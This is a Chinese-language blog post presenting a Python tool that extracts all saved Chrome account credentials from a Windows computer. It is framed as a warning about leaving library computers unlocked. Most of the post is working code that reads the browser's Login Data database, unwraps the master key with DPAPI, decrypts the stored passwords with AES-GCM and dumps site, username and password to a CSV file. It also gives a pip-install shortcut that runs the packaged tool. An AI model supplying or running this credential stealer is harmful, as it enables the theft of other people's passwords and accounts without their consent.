Python 一键获取电脑浏览器的账号密码


Posted in Python onMay 11, 2022

导语

发现很多人在学校图书馆喜欢用电脑占座(以古度今,我好像好多年没去过学校图书馆了),而且出去的时候经常不锁屏,为了让大家养成良好的习惯,我来带大家写个小程序吧,无需输入任何密码就可以快速获取你存储在电脑浏览器中的所有账号和密码,算是通过实践出真知来给大家提个醒了~

废话不多说,让我们愉快地开始吧~

相关文件

Github地址

开发工具

Python版本:3.7.8

相关模块:

pikachupytools模块;

pycryptodome模块;

以及一些python自带的模块。

环境搭建

安装Python并添加到环境变量,pip安装需要的相关模块即可。

原理简介

众所周知,我们的浏览器里一般存储了很多我们访问过的网站的账号和密码:

Python 一键获取电脑浏览器的账号密码

一般情况下,查看这些密码是需要输入电脑的开机密码的。但是事实上,我们也可以通过其他方式直接查看这些账号密码。例如谷歌浏览器里保存账号密码的数据库文件默认路径为:

os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Default\Login Data'

我们可以通过读取该文件获得对应的账号密码:

'''读取数据库数据'''
def readdb(self, dbpath, master_key):
    sql = 'SELECT origin_url, username_value, password_value, date_created, date_last_used FROM logins;'
    client = sqlite3.connect(dbpath)
    cursor = client.cursor()
    with open(self.savename, 'a', newline='', encoding='utf-8-sig') as csv_file:
        cursor.execute(sql)
        csv_writer = csv.writer(csv_file, dialect=('excel'))
        if not self.write_heads_flag:
            csv_writer.writerow(self.csv_heads)
            self.write_heads_flag = True
        info = []
        for row in cursor.fetchall():
            for idx in range(len(self.csv_heads)):
                if isinstance(row[idx], bytes):
                    info.append(self.decrypt(row[idx], master_key))
                else:
                    info.append(row[idx])
            csv_writer.writerow(info)
            info = []
    cursor.close()
    client.close()

其中密码是加密之后的结果,打印出来大概是这样子的:

Python 一键获取电脑浏览器的账号密码

但是解密其实也很简单,通过网上的资料可以知道,我们只需要获得key值:

'''获得master key'''
def getmasterkey(self, local_state_path):
    import win32crypt
    with open(os.environ['USERPROFILE'] + os.sep + local_state_path, 'r', encoding='utf-8') as fp:
        local_state = fp.read()
        local_state = json.loads(local_state)
    master_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
    master_key = master_key[5:]
    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
    return master_key

然后根据key值进行解码就行了:

'''解码'''
def decrypt(self, value, master_key):
    print(value)
    if value[:3] == b'v10':
        from Crypto.Cipher import AES
        iv, payload = value[3:15], value[15:]
        cipher = AES.new(master_key, AES.MODE_GCM, iv)
        decrypted_value = cipher.decrypt(payload)
        decrypted_value = decrypted_value[:-16].decode()
    else:
        import win32crypt
        decrypted_value = win32crypt.CryptUnprotectData(value)[1].decode()
    return decrypted_value

解码之后的运行效果结果如下:

Python 一键获取电脑浏览器的账号密码

获得的结果默认保存在results.csv中,截图如下:

Python 一键获取电脑浏览器的账号密码

ok,大功告成啦,完整源代码详见相关文件。

想要快速测试的小伙伴只需要pip安装一下pikachupytools包:

pip install pikachupytools --upgrade

然后简单写几行代码就能调用运行了:

from pytools import pytools

tool_client = pytools.pytools()
tool_client.execute('decryptbrowser')

到此这篇关于基于Python实现一键获取电脑浏览器的账号密码的文章就介绍到这了!

Python 相关文章推荐
python操作ie登陆土豆网的方法
May 09 Python
python中如何使用朴素贝叶斯算法
Apr 06 Python
Python算术运算符实例详解
May 31 Python
python网络爬虫学习笔记(1)
Apr 09 Python
django缓存配置的几种方法详解
Jul 16 Python
python实现监控阿里云账户余额功能
Dec 16 Python
使用 Python 处理3万多条数据只要几秒钟
Jan 19 Python
基于Python生成个性二维码过程详解
Mar 05 Python
查看已安装tensorflow版本的方法示例
Apr 19 Python
Python常用模块函数代码汇总解析
Aug 31 Python
python如何遍历指定路径下所有文件(按按照时间区间检索)
Sep 14 Python
解决Python中的modf()函数取小数部分不准确问题
May 28 Python
图神经网络GNN算法
May 11 #Python
python神经网络ResNet50模型
May 06 #Python
python和anaconda的区别
May 06 #Python
python神经网络Xception模型
May 06 #Python
Python使用永中文档转换服务
May 06 #Python
Python tensorflow卷积神经Inception V3网络结构
May 06 #Python
Python实现Matplotlib,Seaborn动态数据图
May 06 #Python
You might like
超神学院:天使彦公认最美的三个视角,网友:我的天使快下凡吧!
2020/03/02 国漫
PHP错误Allowed memory size of 67108864 bytes exhausted的3种解决办法
2014/07/28 PHP
php过滤输入操作之htmlentities与htmlspecialchars用法分析
2017/02/17 PHP
PHP实现阿里大鱼短信验证的实例代码
2017/07/10 PHP
比较详细的关于javascript中void(0)的具体含义解释
2007/08/02 Javascript
js取float型小数点后两位数的方法
2014/01/18 Javascript
jquery实现焦点图片随机切换效果的方法
2015/03/12 Javascript
jQuery中dom元素上绑定的事件详解
2015/04/24 Javascript
Jqgrid之强大的表格插件应用
2015/12/02 Javascript
getElementById().innerHTML与getElementById().value的区别
2016/10/27 Javascript
浅谈jQuery this和$(this)的区别及获取$(this)子元素对象的方法
2016/11/29 Javascript
JS正则匹配中文的方法示例
2017/01/06 Javascript
windows下vue.js开发环境搭建教程
2017/03/20 Javascript
EasyUI Datebox 日期验证之开始日期小于结束时间
2017/05/19 Javascript
详解Vuejs2.0 如何利用proxyTable实现跨域请求
2017/08/03 Javascript
angular4中关于表单的校验示例
2017/10/16 Javascript
vue实现在一个方法执行完后执行另一个方法的示例
2018/08/25 Javascript
浅入深出Vue之组件使用
2019/07/11 Javascript
Android基于TCP和URL协议的网络编程示例【附demo源码下载】
2018/01/23 Python
使用Python AIML搭建聊天机器人的方法示例
2018/07/09 Python
PyTorch 1.0 正式版已经发布了
2018/12/13 Python
Python实现九宫格式的朋友圈功能内附“马云”朋友圈
2019/05/07 Python
Python批量生成幻影坦克图片实例代码
2019/06/04 Python
django 消息框架 message使用详解
2019/07/22 Python
解决echarts中饼图标签重叠的问题
2020/05/16 Python
python switch 实现多分支选择功能
2020/12/21 Python
武汉某公司的C#笔试题面试题
2015/12/25 面试题
临床医学应届生求职信
2013/11/06 职场文书
毕业生的求职信范文分享
2013/12/04 职场文书
送餐员岗位职责范本
2014/02/21 职场文书
教师应聘自荐信范文
2014/03/14 职场文书
四风自我剖析材料思想汇报
2014/10/01 职场文书
幼儿园教师节活动总结
2015/03/23 职场文书
第一书记观后感
2015/06/08 职场文书
公司联欢会主持词
2015/07/04 职场文书
css3属性选择器 “~”(波浪号) “,”(逗号) “+”(加号)和 “>”(大于号)
2022/04/19 HTML / CSS